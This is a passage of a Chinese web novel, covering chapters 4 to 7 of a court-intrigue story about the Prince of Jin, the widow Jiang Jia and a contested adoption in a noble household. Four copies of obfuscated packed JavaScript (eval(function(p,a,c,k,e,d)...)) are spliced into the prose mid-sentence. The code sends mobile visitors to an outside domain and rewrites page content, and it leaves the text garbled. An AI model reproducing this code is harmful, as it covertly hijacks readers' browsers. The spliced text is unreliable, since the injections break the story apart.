谢恽神情间有些许犹豫，半晌，支吾道：“其实顺着母亲的安排也未尝不可，毕竟二哥如今绝了嗣，我这个做弟弟的也是心有不忍，而且……咱们还有安哥儿。” 陈淑芸不再言语，心中却发着冷笑，他自然能将这话说得轻巧而冠冕堂皇，但淳哥儿可是自己十月怀胎，甚至是到鬼门关走了一遭才得来的孩子，是她心头的一块肉，她怎能眼睁睁地看着他人夺去自己的孩子？ 不能，决不。 这一夜街上火树银花，屡屡照亮了京城上空，注定有人彻夜难眠。 翌日是大年初一，各房子孙早早齐聚在谢老夫人屋中，轮流上前说了些吉祥话，老太太笑呵呵地吩咐下人打赏钱财。正是众人言笑晏晏之时，三房的陈氏却派人来告假，说是淳哥儿受了风寒，她不便前来，老太太听后面上笑意渐渐淡了下来，只是摆手吩咐素心派人送些补品过去。 素心领了差事，很快便回了正屋，附耳同谢老夫人小声禀报，她微挑了眉，似是并不意外，只平淡道：“由她去。” 众人直觉屋内气氛骤变，却恍若未觉，默契地说笑起来，谢老夫人脸上也继续挂上了得体的微笑。 . 陈淑芸的确是坐上了回英国公府的软轿。 京城向来流行东富西贵的说法，出了皇城，朱雀大街以西不远处便是英国公府，放眼全京城也是也是一顶一的气派。因着正逢年节的缘故，英国公府处处张灯结彩，弥漫着浓厚的喜庆氛围。 常喜刚从府外办了事回来，本就心烦意乱，看见院内的景象时，更觉太阳穴跳得厉害了些。 他紧皱着眉头，无奈道：“六爷，您还没死心呐？” 六爷陈郗是府中老太太最小的儿子，较晋王还小上几岁，平日最是放浪形骸，没个正行，偏生老太太向来宠溺他，府中自然无人管他。 他转过身，见是常喜，一边招呼他近前些，一边忙不迭倒苦水：“不是我说，你们家主子眼光也忒高了些。前儿个说那些姑娘艳俗不堪，昨日我特意又寻了些长相秀丽温婉的，你猜怎么着，只堪堪瞥上一眼，他又让那些姑娘退下了，还说过于寡淡。他这是要天上的神仙妃子不成么？” 眼见他越发忘乎所以，常喜逐渐收敛了神色，轻声提醒道：“六爷慎言。王爷近些年来本就不近女色，您先前挑选的女子都未能得他青眼，又何必再苦苦折腾？” 说罢，便要转身向书房走去。 陈郗急了，一把拉过他的手臂，将声音压得极低：“是老太太犹不死心，今儿个这批姑娘是她老人家亲自相看的。这差事我若没办好，回头可是要吃瓜落的。” 见他犹是一副不为所动的模样，陈郗心内暗骂了几声，面上仍苦苦哀求：“更何况偌大一个王府后院竟空无一人，这……过得什么苦心僧般的生活，你也合该为主子考虑一番。” 这倒正好说中了常喜的心结。 这孝期本就是不该守的，王府后院也早该进人了，不过常喜向来对这事头疼得厉害。当然，更重要的还是王爷的态度。常喜心内笃定他对这事至少不抗拒。不然以他的脾性，前几回看都不会看一眼，早就将人打发走了。 心内细细琢磨了番，对上陈郗满是渴求的目光，常喜咬牙道了个好字，终是调转了脚步。 仅是匆匆瞥过去，他目光就定格在一人身上，犹不可置信地多看了几眼。他不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040664|162511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得不承认武安侯府那位虽说心思不干净，但生得确实跟天上仙子似的，而眼前这女子同她眉眼间有几分相像之处。既然如此，便绝不能将她送到王爷面前给他添堵，思及此，他沉着一张脸将她挑拣了出去。 陈郗不知他心中考量，只喋喋不休：“这些姑娘家世清白，长相不俗，环肥燕瘦，应有尽有，竟无一人能被他晋王殿下看入眼。” 他蓦地止了话语，神情突然古怪至极。 “你说……莫不是他心中有人了？” 此言一出，常喜微变了神色，手上的折子险些落了地。 “六爷，慎言慎言。” 那厢却流露出些不满来，继续笃定道：“以我这些年的经验来看，这十有八九就是心中有了人，老太太又要白费功夫咯。” 常喜沉沉叹了声，嘴上虽不欲同他纠缠，心中却难免又起思量。 他调转脚步，将方才挑拣出去的女子又选了回去。 见六爷满腹疑惑，欲言又止，常喜连忙道：“你莫多想，只是让她去王爷面前……试试。” 他又囫囵挑了几人，然后硬着头皮与陈郗一同领着她们进了屋。 “王爷。”陈郗进了屋，轻唤他一声。 陈续宗支着手倚在榻上，闻言瞥了眼自己这个不成器的小叔叔，不悦道：“你将英国公府当秦楼楚馆了不成？” 陈郗面露难色，踌躇着开了口：“我也是奉老夫人之命。” 论辈分，他的确比晋王大上一轮，但他万万不敢在晋王面前托大拿乔，摆半分长辈的谱，好在陈续宗今日心情尚好，也就假言申饬了番便轻轻揭过。 他移开视线，扫过面前站成一排的女子，目光在一人身上微顿，皱了眉头，抬手指了指，示意她近前些。 那女子心内既惊又喜，抬脚上前，羞怯地低垂着眼。 陈续宗目光在她脸上定了一瞬，移开视线，越过屋内众人冷冷扫向低垂着头的常喜。 常喜有所感应，结结实实地打了一个寒颤，忙将头垂得更低了些。 陈续宗放下手中茶盏，压抑着不耐吩咐道：“都退下吧。” 陈郗只得作罢，悻悻地带着人走了。 方才那女子低眉顺眼的姿态令他无端生厌，其实只是粗看有几分相像罢了，但也仅限于此。虽是寥寥几次见面，在他的印象之中，她从来都不是这般姿态。 满场卑躬屈膝之中唯有她挺直着脊背，谦恭但不卑顺，在宣州府时是，在京城时亦是如此。 他收了手中的折扇，突然感到莫名的烦躁。 “常喜，过来。” 听到主子染上薄怒的声音，常喜明显吸了口气，走了上前。 “谁准你自作聪明的？” “奴才该死。” 陈续宗更觉窝了一肚子的火无处发泄，端起茶盏，仰头将一杯凉茶灌进了肚。 犹待开口之际，屋外的侍卫进屋通禀：“王爷，太后宣您入宫觐见。” 茶盏被重重放于案几上，发出一声沉重的闷响。 5. 第5章 与此同时，孔家小姐和武安侯府的谢老夫人也收到了太后的传召。谢老夫人只带了江葭一人入宫。 因为前两回入宫的经历，江葭对入宫之事百般抗拒。但今日恰逢年节，且事出突然，她再无推脱之词。 这一次她极为谨慎，寸步不离谢老夫人，好在她今日并未见到二皇子的身影。 不过出乎意料的是，今日晋王也在太后宫中。江葭并未多做打量，规规矩矩地行了礼。太后语带笑意地赐了座，江葭被安排坐在孔家小姐身旁。 她是认识这位孔小姐的。京城世家大族的圈子拢共只有这么大，孔愫便是其中众星捧月般的人物，她也因此养成了个骄矜的性子。太后一向喜爱自己这位侄女，甚至存了扶持她为晋王妃的意思，近来传言更是纷纷扬扬，不过江葭一向不甚在意这些传闻，反正晋王同自己毫无干系。更何况虽是寥寥几次见面，她对晋王此人的印象实在说不上好。 不过晋王今日并未久留，稍坐了会儿就向太后告辞离去，江葭等人低垂着眼恭送晋王。 一角绣着五爪金龙的暗花云纹朝服从江葭眼前掠过。 “葭儿，快些将礼物呈给太后娘娘。” 江葭回了神，连忙起身说了一串吉祥话，示意身旁丫鬟将准备好的礼物递给太后身旁的宫女，末了，又道：“妾身专门为太后娘娘做了一条素缎石榴纹抹额，如今天气寒冷，用着正好。” 太后笑着说：“快呈上来。” 太后的贴身宫女素莲接过托盘，呈递到太后面前。 孔愫略瞥了眼，心中不满，冷冷道：“心意是好，只是太过寒酸了些，岂不是对太后千金之躯的不敬。” 这就是找茬来了。 江葭心中并无多少意外，毕竟她和这位孔小姐早在之前就结下了梁子。 她垂眸平静道：“听闻太后娘娘近来以身作则，缩减宫中开支，为前线战事募捐物资，妾身心中感念太后娘娘一片苦心，却苦于人微言轻，心思愚钝，只好于这些微末小事之上表达对太后娘娘的追随之意，还望娘娘勿怪。” 太后见她不卑不亢，从容回话，心中暗暗赞赏，连带着脸上笑意也真诚了些：“哀家怎会怪你，快快坐下，”她又侧身同谢老夫人道，“瞧这孩子，心思玲珑，性子又是个极为难得的，哀家当真喜欢得紧，日后你入宫定要带着她来哀家宫中坐一坐。” 谢老夫人笑着应下，江葭跪地谢恩，心中却在暗暗叫苦，以后入宫少不得要费些心思避开二皇子了。 这厢就此揭过，太后却不知因何事而突然起了愁绪，语气中颇有几分失意。 “哀家从前盼着孩子们长大，如今又盼着他们成家，晋王是永康唯一的骨血，他的婚事最是令哀家费心，哀家若能亲眼见着他娶妻的那一日，也算是了却一桩心事了。” 谢老夫人温言宽慰了太后几句，她蹙着的眉心才微微舒展开来，眸中的愁绪还未散尽，转眼又见着自己的侄女低垂着头，羞赧着脸，尽作那小女儿娇羞之态，一时气不打一处来，呼吸都重了些。 废物！ 她心中暗骂，自己这个作姑母的给了她多少机会接近晋王，可晋王依旧对她不为所动，但凡她费些心思，让晋王对她有些好感，晋王还会拿孝期来拒婚么？ 但这无妨，反正来日方长，只要晋王妃人选没有最终定下，她就绝不会放弃，只是少不得要多费些心思罢了。 将心中怒火强自压了下去，太后定了定神，又说起了一桩事。 “哀家突然想起一件喜事，钦天监已为纪太师长女的婚事择了吉日，是正月十六。” 谢老夫人在一旁笑道：“如此说来，那日子便不远了。两国修好，届时又是公主出降的排场，这既是纪家的幸事，也是我大乾朝子民的幸事。” 太后看向自己侄女，意有所指道：“是啊，说来纪家的庶女这回也陪着她的嫡姐一同嫁入突厥王庭，当真是个有造化的。” 江葭微不可察地蹙了眉头。 造化？当真是作孽的造化。 枉顾他人意愿，冠冕堂皇地说成是位高权重者施予他人的恩德，再美其名曰为造化，这并非施恩布德，而是颠倒黑白。 她可是听说那纪家的庶出小姐是个性子刚烈的，数次以死明志，只为反抗陪同嫡姐和亲的命运。许是自身经历影响，江葭同这位未曾谋面的纪小姐生出许多共鸣来，虽未曾见过她，却是打心眼里敬佩她。若不是自己人微言轻，做不得什么，否则定是要伸手帮她一把。转而她又苦涩地想，她如今自身难保，遑论其他。 太后方才说的这桩喜事勾起了殿内各人的愁思。 唯有谢老夫人面色如常，陪着太后继续说笑，但太后今日到底藏着心事，始终兴致缺缺，于是早早放了谢老夫人与江葭出宫，单独留下孔愫同她说话。 等孔愫走出寿康宫时，天边已是漆黑一片，她被门槛绊了一下，险些跌倒在地。 送她出殿的素莲眼疾手快地扶住了她，面上是一如既往的客套与恭敬：“小姐，您当心些，娘娘望您能理解她的一番苦心，莫要让她失望。” 孔愫本就面如死灰的脸庞霎时变得更为惨白。 她愣了瞬，直到寒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040665|162511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风裹挟着雪花朝她面上扑来，激得她浑身一颤，她才回过神来，用力甩开宫女的搀扶，拖着沉重的步子一步步走向软轿，脑海中是姑母方才对她的警告。 “晋王的婚事已是拖不得了，哀家给你的时间也不多了。” “哀家有心扶持你，但你不争气，孔家并非只有你这一个待字闺中的女儿，你的庶妹并不逊色于你。” “当今圣上没有适龄婚嫁的公主，所以只好让纪太师的长女以公主身份和亲，你若没能嫁与晋王为正妃，你的处境不会好过她今日。” 她终是趔趄了下。 素莲目送她的背影远去，摇头叹了声，转身进了殿。 “太后娘娘，奴婢已照着您的吩咐嘱咐过小姐了。” 太后正闭眸倚在榻上，由着身旁的小宫女为她捶腿，闻言并未睁眼，只微颔了首。 良久，她似怨似叹：“哀家当初到底是看走了眼，竟没想到她竟如此无能。一个男人若是对女人生了兴趣，他自己便会上赶着将那人筹谋到身边去，哪还用得着旁人这般苦心谋划。” 素莲迟疑片刻，终还是踌躇道：“太后娘娘，奴婢有一事不知当不当说。” 太后闻言皱了眉头：“说。” 素莲垂首应是：“今日奴婢瞧着王爷看了那武安侯府的江氏……” 太后本就心烦气躁，不耐地打断她：“晋王又不是瞎了……” 话未说完，她自己也察觉出异常，蓦地止住了话头，神情越发古怪。 “你的意思是……”她抬手挥退了身旁伺候的小宫女，坐直了身体，示意她继续说下去。 “奴婢今日瞧着王爷一直打量着江氏，”她一顿，又补充了句，“说句僭越的话，那眼神实在是太直白了些。” 太后微眯了眼，半晌，轻笑出声。 她站起身，走至窗边逗弄笼中的山雀，自言自语：“想他晋王平日是如何的眼高于顶，一向对愫儿是不理不睬的，如今却对一个新寡的妇人起了意，当真是有趣极了。” 素莲有些不明所以，疑惑道：“太后娘娘，您就不怕这江氏夺了风头么？” 太后似是听到笑话一般，轻嗤一声：“哀家怕什么？江氏出身低，又是个嫁过人的，自是不足为惧，若不是武安侯府顾及自己的名声，谁又将她这个侯府的正头娘子放在眼里？” 素莲心下一凛，垂首道：“娘娘说的是。” 见她犹欲言又止，太后瞥了她一眼，继续弯腰逗弄笼中的山雀，漫不经心道： “不过是个玩意罢了，你且看那人对她有几日的兴趣。” 6. 第6章 宰相府。 从太后宫中出来后，孔愫一直神情恍惚，又哭又笑的，令孔相夫妇好一阵担心。郎中们说她是受了惊吓，开了几剂安神的方子后也皆是于事无补。夫妇俩又惊又惧，可他们再如何气恼也不能冲进寿康宫去找太后要一个说法。 一筹莫展之际，陈淑芸来得恰是时候。孔夫人想她毕竟是女儿的闺中好友，兴许能开导她几句，恭恭敬敬地将她请进了府里。 “你且想想，即便太后属意一个婢女所出的孔家女为晋王妃，晋王本人会同意么。” 孔愫如惊弓之鸟般抬起头，死死盯着门口：“你如何知晓的？” 陈淑芸带上门，慢慢走向她，上前拉住她的手：“孔夫人同我说的，她托我来宽慰你。” 她一片死寂的双目终是泛起一丝波澜。 “晋王如今虽说势大，说到底还是需要一个母家显赫的王妃装点门面。太后希望晋王妃出自孔家，而你又是孔家唯一的嫡女，除了你之外，太后还能扶持谁呢？昨日那番话不过是她说出来敲打你罢了。” 孔愫红着眼眶：“可晋王对我……” 她内心残存的骄傲不容许她将未说完的那番话继续说下去。 陈淑芸内心暗骂她愚蠢，面上仍和煦道：“事在人为，总是有法子的。” 她眼里重又浮现希冀，在她的满怀期待之下，陈淑芸却迟疑了瞬，摇头道：“此事需从长再议，你且容我回府想想。” 她自是不愿蹚这趟浑水。 孔愫却如抓到救命稻草一般，紧紧抓住她的手：“你说的是。姑母还没放弃我，我自己怎能一蹶不振。” 陈淑芸脸上的笑意僵了僵，搪塞道：“待我想出法子后，定会立即告知你。” 孔愫内心感动不已，哪知对方心中想的却是另一件事。 陈淑芸昨日为了淳哥儿的事回了一趟英国公府，却不想铩羽而归。方才开导孔愫一席话无意间点醒了她自己，她竟忘记了去求晋王。晋王虽也是个不近人情的，毕竟权大势大，而且同她有着一同长大的情分，这事到底是有了出路。更何况如今为了淳哥儿，不论如何她都要奋力一搏。 “你怎么如此憔悴？” 陈淑芸猛地回了神，端起茶盏掩饰方才的片刻失神。再抬眼时，她改了主意，将淳哥儿过继的事情说了出来。 “我就知江氏不是个安分的，难道你就任由她如此肆意妄为么！” 陈淑芸偷瞥了眼她的神色，拿起帕子按了眼角的泪，小声啜泣了起来：“我又有什么办法，如今老太太处处抬举她，便连太后也对她青眼有加，今日独独将她宣入了宫，她如今哪还是从前那个毫无依仗的小官之女。” “姑母怎会？”愤怒之余，她还感到费解，姑母向来是个极重门第的，能不轻视她已是极为难得，怎会如此待见她。要么就是其中有些古怪，要么就是那人给姑母灌了迷魂汤！ 江葭当真是冤极了，她此时实则是在太后宫中如坐针毡。 如往日一般，太后根本没有同她交谈的兴致，不过今日稍有不同，太后突然打发她抄起了佛经。江葭心内虽觉着古怪，却也只得依言照做。如果说抄佛经时双手的酸痛已是让她颇为难捱，那么这期间太后对她若有似无的打量则是时刻折磨着她的意志。 待她终于抄完了那一卷佛经，宫人捧着墨迹未干的卷轴给太后过目。 太后微向前倾了身子，垂眼看向她的字迹。娟秀工整，且通篇无一错字，足矣见得这人的心境是个极为难得的。 殿门外传来一阵脚步声，随后毡帘被人掀开，来人裹着一身风霜入了殿。 江葭起身见礼，心中意外晋王今日怎么这个时候来了太后宫中。 太后抬眼，目光在他二人之间打了个转，直到身旁那人心不在焉地撩袍坐下，她才收回打量的眼神，止了心中思忖。 “哀家早些时候召你来宫中，怎么这时才来？”语调自然亲昵，令江葭无端想起了自己的祖母，一时恍惚。 晋王下一句话让她骤然清醒过来。这是天家，不比寻常百姓家。 “近来战事吃紧，圣上挂心，孙儿自是较往日忙碌些。” 太后恍然：“这倒也是。” 说完这话，她顺着陈续宗的目光看向案几上的佛经，和蔼笑笑，随即看向坐在下首的江葭：“这孩子有心了，知晓永康的忌辰即至，抄了好几日的佛经，你且将卷轴带回府上。” 太后这话仿若一道惊雷在江葭脑中炸了开来。她分明毫不知情。 江葭下意识地抬头，却不想一眼撞进上首那人打量过来的目光。 目光相对，她知晓自己失了态，连忙错开眼神，勉强维持着面上的恭谨。她险些忘了，这儿是皇宫，本就没有她说话的份儿，更容不得她为自己辩解。 “常喜，收着吧。” 江葭不记得过了多久才等来晋王这句不咸不淡的吩咐。 好在太后不再说什么，抬了抬手，对江葭道：“今日就到这儿。” 素莲会意，指派了名小宫女送江葭出宫。 待江葭走后，太后将殿中伺候的宫人皆打发了出去。 一片诡异的沉默之中，是陈续宗沉声开了口：“太后此举，意在何为？” 太后垂下目光，微转了转手中的佛珠，答非所问：“江氏来过哀家宫中几回，是个心思单纯的。” 陈续宗刮了刮杯中茶沫，微抬了眼，不辨情绪道：“那可未必。” “哦？”太后似是来了兴趣，挑眉反问。 不过那厢似是对这个话题并无多少兴趣，不愿再说。太后也不再追问，话已至此，她还有什么不明白的。 她意有所指：“心思如何并不重要，有心才重要。” 陈续宗不置可否，修长的手指无意识地摩挲着手中茶盏。 太后又轻叹了声，似是由衷感到可惜：“那孩子犹在孝期之内，怕是会委屈些，不过这倒也无妨，本就是一桩有名无实的姻缘，又何需有那么多的顾忌？只是明面上还是要顾及圣上的颜面，莫要落人口舌才是。” “太后多心了，今日召孙儿前来所为何事？” 她轻笑了声，缓缓道：“你的婚事该提上日程了。” “此事不急。” 又是这番不容置疑的态度，太后神色略僵了僵，旋而又恢复平静。 “圣上也十分关心你的婚事，私下同哀家提过几回此事。” 陈续宗将手中茶盏稳稳地放在案上。 “太后别忘了，孙儿仍在三年孝期之内。” 太后知他是在搪塞自己，勉强笑了笑：“既然如此，今儿恰逢年节，别忘了回英国公府。” “孙儿省得。” 太后手中的佛珠被用力拨下，发出沉沉的一声闷响。 祖孙俩各怀鬼胎，有一搭没一搭地说了些话。 临走之际，陈续宗似突然想起一件事，折回去道：“二皇子如今也到了成婚的年纪，太后当提醒圣上留心他的婚事了。” 太后不明白他怎么关心起了二皇子的婚事，虽觉古怪，心中到底还是起了意，私下同圣上提起了这事。不过这是后话，暂且不提。 晋王走后，太后沉沉叹了声：“永康那件事过后，晋王与哀家之间到底是生了隔阂。” 素莲知她想起了伤心事，在一旁劝慰道：“娘娘，您当年也是无奈之举，晋王殿下会体谅您的。” 太后转了转手中的佛珠，自顾自道了句：“但愿如此。” . 出了宫后，陈续宗没有回到王府，而是回了英国公府。 书房内，他一直支手倚在雕花木椅上，阖眼假寐，不知心中想着什么。 常喜候立在旁，偶尔抬头打量他的神色，见他出宫后便是这幅心中有事的模样。心中虽古怪，但也不主动相问。 他提起了另外一事：“王爷，今日那佛经……可是太后对长公主殿下生了歉疚之心？” 陈续宗掀眼看向他手中捧着的佛经，冷冷道：“歉疚是假，试探是真。” “试探什么？” 常喜挠了挠头，一时没有反应过来，陈续宗也懒得同他解释。 他反过来问道：“常喜，太后今日说她心思如何并不重要，你怎么看？” 常喜打了个激灵，立时反应过来他所指的“她”是谁。 您自己难道是个很有道德的人么，又怎会真心在意她的人品？常喜心内腹诽道。 当然这话绝不能说出来，他斟酌了番措辞：“奴才认为太后说得极是，心思如何并不重要。内宅妇人罢了，就算心思歪些也掀不起什么风浪，更何况她无夫无子，想必自是想要寻个倚仗的。” 陈续宗没有应答。 与此同时，屋外的侍卫进屋通传：“王爷，二房的姑奶奶回了府，正在院内求见。” 陈续宗抬眼，稍回想了会儿才想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040666|162511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起自己这个堂妹是谁，摆了摆手，示意侍卫引她进屋。 陈淑芸方从陈老夫人的屋子中出来，泪珠犹挂在眼下，双目布满血丝，凄楚又狼狈。 如非万不得已，她也不愿放下姿态地求到晋王这儿来。但老太太的态度如泼了她一头的冷水般，击破了她对娘家的最后一丝希望，还说什么“届时陈谢两家脸面都不好看，此事需从长计议”。 都是空话！ 陈续宗放下茶盏，淡声问：“何事？” 言语间已透露出些许不耐。 陈淑芸心神一凛，拿起帕子擦去脸上泪珠，恭敬地施了礼：“堂兄……殿下万安。” 她说得急切，将话捣豆子一般倒了出来。 常喜听得直皱眉，出声提醒：“夫人，此事是武安侯府的后宅私事，与王爷并无干系。” 陈续宗却直起了身，朝他摆摆手，对陈淑芸道：“你方才说是谁执意要过继淳哥儿？” 常喜眉心一跳，知他对这事生了兴趣，稍后退了一步。 “二房的江氏。” “哦？”他转着手中的墨玉扳指，垂着视线，眼皮未抬，“那是为何？” 陈淑芸抬手用手帕擦拭脸上泪痕，想也没想就答道：“自然是为后半生寻个倚仗。” “倚仗？”他唇间咂摸着这两字，良久，竟轻笑出声。 寻一个无权无势的皇子和一个乳臭未干的幼子作后半生的……倚仗？ 陈淑芸不知他心中所想，以为是自己说错了话，蓦地止住了抽泣，惊疑不定地看着他。 他唇角那抹笑很快就消失了，抬手示意常喜为她搬来座椅：“你且说说此事始末。” 听他如此说，陈淑芸如抓住救命稻草一般，将在老太太那儿说的一番话原封不动地说了一遍，其中不乏添油加醋的成分。 陈续宗微皱了眉。她话间的恶意猜度即便已被有意遮掩，仍然在他面前暴露无遗。 不过他还是说：“既然如此，你待如何？” 陈淑芸忙从椅上站起：“只要莫将淳哥儿夺走，王爷让我做什么都可以。” 他唔了一声，却迟迟没有下文。 屋中一片寂静，有一下没一下刮茶盖的声音格外突兀，就像纷繁的鼓点落在心上，让她备受煎熬。 陈淑芸有些后悔了，同晋王谈条件又和与虎谋皮有什么区别。 在她的心逐渐沉到谷底之际，那人方不轻不重道了句： “下月初五，安玄寺，本王亲自见她。” 陈淑芸没有多想，忙不迭答应下来。 眼看对方起了身，这就是赶客的意思了，她识趣退下。 回到武安侯府的时候，奶娘正在院子里带着安哥儿和淳哥儿晒太阳。看见自己的孩子，陈淑芸面色稍霁，走上前轻抚淳哥儿，却不想一时走了神，指甲刮到了他的额头，激得他一阵大哭。 陈淑芸懊恼不已，将淳哥儿抱在怀里又是安抚又是哄睡，他这才止住了哭声，不久进入了梦乡。 她抬眼示意奶娘将淳哥儿抱回屋里安置，自己起身进了屋。 方一坐定，侍女便递来了茶水。陈淑芸颇不耐地推了开来，揉了揉额角：“我总觉得这事古怪得很，你说晋王为何要单独见她？” 碧云放下茶盏，在一旁试探着道：“兴许是王爷要亲自劝那江氏打消念头呢。” 陈淑芸未经犹豫就摇了头：“我原先也如此想来，后来坐在回府的马车上却越想越不对劲。晋王是个什么人，我还是知晓一二的。这种小事怎会劳烦他亲自出马，更何况那人若是真用这般温和的法子才当真是太阳打西边出来了。” 碧云犹豫了瞬，还是轻声道：“夫人，王爷也许存了旁的心思，这也不是没有可能……” 陈淑芸神色微变，喝道：“不可胡言！” 碧云连忙噤了声。 陈淑芸略微思忖了番，放缓了声音：“这事若是传扬了出去，晋王不会善罢甘休。届时别说保你了，我也不会好过。” 她向身侧瞥了一眼，暗含警告：“所以这事不论真假与否，决不能向外透露一个字。” 碧云忙道：“奴婢省得。” 陈淑芸缄默，端起茶盏小抿了口茶水。其实她先前隐隐猜到了这一层，只是哪敢深思下去。无凭无据，谁又敢对晋王的私事妄下断言。 她叹了一声：“也罢，只要莫将我的淳哥儿夺走，其他的事都随他去吧。” 7. 第7章 正说话间，安哥儿在屋外拍打着房门，吵着要进来，陈淑芸连忙示意碧云放他进屋。 她俯身将儿子抱在了自己腿上，柔笑着逗弄了他一会儿，临时起了意：“安哥儿，娘亲带你去表嫂屋里坐坐，好不好？” 小孩子大抵天生就对温柔又漂亮的阿姊没有什么抵抗力，未经丝毫犹豫，安哥儿用力点了点头。 陈淑芸浅笑着揉了揉儿子的头，牵着他的手向观澜苑走去。 她们走到门外的时候，江葭刚从杜氏的屋子出来，瑞珠附耳同她轻声禀报。江葭微蹙了眉，不知今儿什么风把这位吹了过来。 对待陈淑芸的亲昵，她内心一向是抗拒的。但她从来都将面上礼数做得无可指摘。吩咐下人又是拿糕点茶水，又是拿软垫子的，处处周到非常。 陈淑芸笑得和煦温婉，垂首对怀中儿子道：“安哥儿，还不谢过你嫂嫂。” 小孩子懵懂地看向江葭，奶声奶气地学着母亲道了声谢。 江葭内心一软，眼里漾出笑意，柔声道：“安哥儿真乖。” 陈淑芸又附耳同儿子说了些什么，母子俩相视而笑。 江葭看着这幅天伦之乐的场景，心中难免失落。从前待字闺中的时候，自己何尝未曾幻想过未来相夫教子的场景，说到底，自己对那般生活终归还是向往的罢。 陈淑芸抬眼打量了番她的神色，心下了然：“我看你也是个喜欢孩子的，只是……” 她沉沉叹了声气。 江葭剥橘的手一顿，渐渐收了脸上笑容。 陈淑芸却似浑然不觉，继续道：“日后从宗室中过继一个孩子倒也是未尝不可，不过，养子终究不如亲子亲厚。” 说罢，还隐晦地往江葭平坦的小腹上打量。 江葭脸色终是有些难看。 她寒声：“我这辈子想必都不会生育，夫人何必拿我打趣。” 陈淑芸笑笑：“瞧我，一时高兴就尽说些胡话，你莫要计较才是。” 她立马转移了话题：“今日诚国公府上的赏花宴，你可同我一起去？” 江葭轻摇了头：“近来忙碌，怕是抽不开身，夫人勿怪。” 陈淑芸起身，也不愿在她这儿自讨无趣，又说了番体面话，才牵着儿子离了观澜苑。 江葭端起手边茶盏，皱眉看着陈淑芸身影越走越远。 这桩皇帝钦点的婚姻本就将她的一生都困在了侯府，更何况自那次灵堂闹事之后，她贞节牌坊也就此立下，甚至传为一时佳话。届时她若改嫁亦或是有孕，想必不只是她，江氏全族都会被一人一口唾沫淹死。 已至今日这般处境，她犯不着如此糊涂。 这般想着，她眸色一片寒凉。 除此之外，陈氏今日的表现实在有些反常。她想不明白，这般精明的人今日为何问出了如此冒犯的问题。不像是一时犯了糊涂，反而像是有意试探她些什么。 她的猜想在这之后得到了验证。 往后几日，陈淑芸较平常来得更勤些。若是从前，江葭兴许不会多想，可那日过后，江葭越发察觉出异样，对她多了些戒备。 不知是不是她的错觉，陈淑芸话语之间总是夹杂着若有似无的试探。 今日亦是如此。 “我出嫁得早，每次看见你便想起了家中小妹，所以一向待你如家中妹妹一般。府中一众人等，也是我待你最为亲切，虽不能说是十全十美，但也绝对尽心尽力了。” “但妹妹近来待我有偏见似的，全然不似从前那般了，”陈淑芸蹙眉说着，面露愁绪，上前拉住江葭的手，“我这个做姐姐的若是有哪里做得不好了，你不妨直接提出来，我及时改正便是。” 江葭温婉笑笑：“哪有的事，是夫人想多了。” 话说着，一边不露声色地抽出了手。 陈淑芸收回手，神色微僵：“那自然是极好。” 神情仅仅是不自然了一瞬，她挤出一个笑来，嗔怪道： “你说，前儿个我邀你去诚国公府，你推辞了；明日宰相府上的诗会，你又说身体不适……莫不是有事躲着我？” “没有。” 对上对方那恬静淡然的模样，陈淑芸只觉一口气堵在嗓子眼里，不上不下，让她万般不是滋味。 “瑞珠，为夫人添茶。” 瑞珠忙应声，上前添了盏茶。 江葭在一旁道：“夫人试试这茶，滋味鲜醇，极难寻得。若是喜欢，待会儿便让碧云带些茶叶回去。” “是吗？”陈淑芸僵硬地垂下目光，看向面前冒着热气的茶水，“那我可要好好尝尝。” 说罢，端起茶盏浅抿了一口，掩下心中汹涌思绪。 谈及面前这位，外人无不怜她孤苦柔弱。 但陈淑芸一向觉得这是莫大的笑话。 孤苦，从前或许是。 至于柔弱？ 她看未必。 若是当真如此，她怎么没像杜氏一般缠绵病榻，任人磋磨？反而在府上的日子还一日好过一日，地位今非昔比。 不，就凭当今的晋王殿下都提出要单独见她了，便知这江氏绝不简单。 她咽下心中万般情绪，道：“当真是好茶。” 瑞珠笑道：“那是自然，这是老夫人特意赏来的银丝水芽，外头可喝不着。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040667|162511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 